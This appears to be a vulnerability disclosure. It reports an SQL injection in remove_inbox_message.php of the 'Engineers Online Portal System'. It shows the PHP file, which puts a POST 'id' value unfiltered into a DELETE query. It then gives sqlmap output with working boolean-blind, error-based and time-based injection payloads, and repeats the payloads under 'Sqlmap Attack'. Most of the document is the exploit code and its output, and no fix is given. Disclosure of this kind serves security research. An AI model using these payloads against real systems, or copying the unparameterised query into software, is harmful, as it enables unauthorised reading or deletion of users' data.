

Engineers Online Portal System

remove_inbox_message.php has Sqlinjection

Engineers Online Portal System remove_inbox_message.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```
remove_inbox_message.php
1  <?php include('admin/dbcon.php'); ?>
2  <?php
3  $id = $_POST['id'];
4  mysqli_query($conn,"delete from message where message_id = '$id'")or die(mysqli_error($conn));
5  ?>
6
7
```



```
[19:59:13] [INFO] testing MySQL UNION query (random number) = 81 to 100 columns
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 392 HTTP(s) requests:
---
Parameter: id (POST)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: id=44' RLIKE (SELECT (CASE WHEN (5020=5020) THEN 44 ELSE 0x28 END))-- jPUC

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID SUBSET)
  Payload: id=44' AND GTID_SUBSET(CONCAT(0x7170707171, (SELECT (ELT(2958=2958,1))),0x71707a7671),2958)-- GMHK

  Type: time-based blind
  Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
  Payload: id=44' AND 1433=BENCHMARK(5000000,MD5(0x776a7759))-- RKDt
---
```

Sqlmap Attack

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Payload: id=44' RLIKE (SELECT (CASE WHEN (5020=5020) THEN 44 ELSE 0x28 END))--
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Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (GTID_SUBSET)

Payload: id=44' AND GTID_SUBSET(CONCAT(0x7170707171,(SELECT
(ELT(2958=2958,1))),0x71707a7671),2958)-- GMHK

Type: time-based blind

Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)

Payload: id=44' AND 1433=BENCHMARK(5000000,MD5(0x776a7759))-- RKDt
